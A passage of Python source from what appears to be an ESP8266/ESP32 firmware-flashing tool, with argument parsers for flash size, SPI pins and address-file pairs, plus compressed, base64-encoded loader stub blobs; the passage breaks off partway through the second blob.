print('Soft resetting...') esp.soft_reset(False) else: print('Staying in bootloader.') if esp.IS_STUB: esp.soft_reset(True) esp._port.close() else: operation_func(args) def expand_file_arguments(): new_args = [] expanded = False for arg in sys.argv: if arg.startswith("@"): expanded = True with open(arg[1:], "r") as f: for line in f.readlines(): new_args += shlex.split(line) else: new_args.append(arg) if expanded: print("flashapi.py %s" % (" ".join(new_args[1:]))) sys.argv = new_args class FlashSizeAction(argparse.Action): def __init__(self, option_strings, dest, nargs=1, auto_detect=False, **kwargs): super(FlashSizeAction, self).__init__(option_strings, dest, nargs, **kwargs) self._auto_detect = auto_detect def __call__(self, parser, namespace, values, option_string=None): try: value = { '2m': '256KB', '4m': '512KB', '8m': '1MB', '16m': '2MB', '32m': '4MB', '16m-c1': '2MB-c1', '32m-c1': '4MB-c1', }[values[0]] print("WARNING: Flash size arguments in megabits like '%s' are deprecated." % (values[0])) print("Please use the equivalent size '%s'." % (value)) print("Megabit arguments may be removed in a future release.") except KeyError: value = values[0] known_sizes = dict(ESP8266ROM.FLASH_SIZES) known_sizes.update(ESP32ROM.FLASH_SIZES) if self._auto_detect: known_sizes['detect'] = 'detect' known_sizes['keep'] = 'keep' if value not in known_sizes: raise argparse.ArgumentError(self, '%s is not a known flash size. Known sizes: %s' % (value, ", ".join(known_sizes.keys()))) setattr(namespace, self.dest, value) class SpiConnectionAction(argparse.Action): def __call__(self, parser, namespace, value, option_string=None): if value.upper() == "SPI": value = 0 elif value.upper() == "HSPI": value = 1 elif "," in value: values = value.split(",") if len(values) != 5: raise argparse.ArgumentError(self, '%s is not a valid list of comma-separate pin numbers. Must be 5 numbers - CLK,Q,D,HD,CS.' % value) try: values = tuple(int(v, 0) for v in values) except ValueError: raise argparse.ArgumentError(self, '%s is not a valid argument. All pins must be numeric values' % values) if any([v for v in values if v > 33 or v < 0]): raise argparse.ArgumentError(self, 'Pin numbers must be in the range 0-33.') clk, q, d, hd, cs = values value = (hd << 24) | (cs << 18) | (d << 12) | (q << 6) | clk else: raise argparse.ArgumentError(self, '%s is not a valid spi-connection value. ' + 'Values are SPI, HSPI, or a sequence of 5 pin numbers CLK,Q,D,HD,CS).' % value) setattr(namespace, self.dest, value) class AddrFilenamePairAction(argparse.Action): def __init__(self, option_strings, dest, nargs='+', **kwargs): super(AddrFilenamePairAction, self).__init__(option_strings, dest, nargs, **kwargs) def __call__(self, parser, namespace, values, option_string=None): pairs = [] for i in range(0, len(values), 2): try: address = int(values[i], 0) except ValueError: raise argparse.ArgumentError(self, 'Address "%s" must be a number' % values[i]) try: argfile = open(values[i + 1], 'rb') except IOError as e: raise argparse.ArgumentError(self, e) except IndexError: raise argparse.ArgumentError(self, 'Must be pairs of an address and the binary filename to write there') pairs.append((address, argfile)) end = 0 for address, argfile in sorted(pairs): argfile.seek(0, 2) size = argfile.tell() argfile.seek(0) sector_start = address & ~(ESPLoader.FLASH_SECTOR_SIZE - 1) sector_end = ((address + size + ESPLoader.FLASH_SECTOR_SIZE - 1) & ~(ESPLoader.FLASH_SECTOR_SIZE - 1)) - 1 if sector_start < end: message = 'Detected overlap at address: 0x%x for file: %s' % (address, argfile.name) raise argparse.ArgumentError(self, message) end = sector_end setattr(namespace, self.dest, pairs) ESP8266ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b""" 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\ """))) ESP32ROM.STUB_CODE = eval(zlib.decompress(base64.b64decode(b""" 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\ 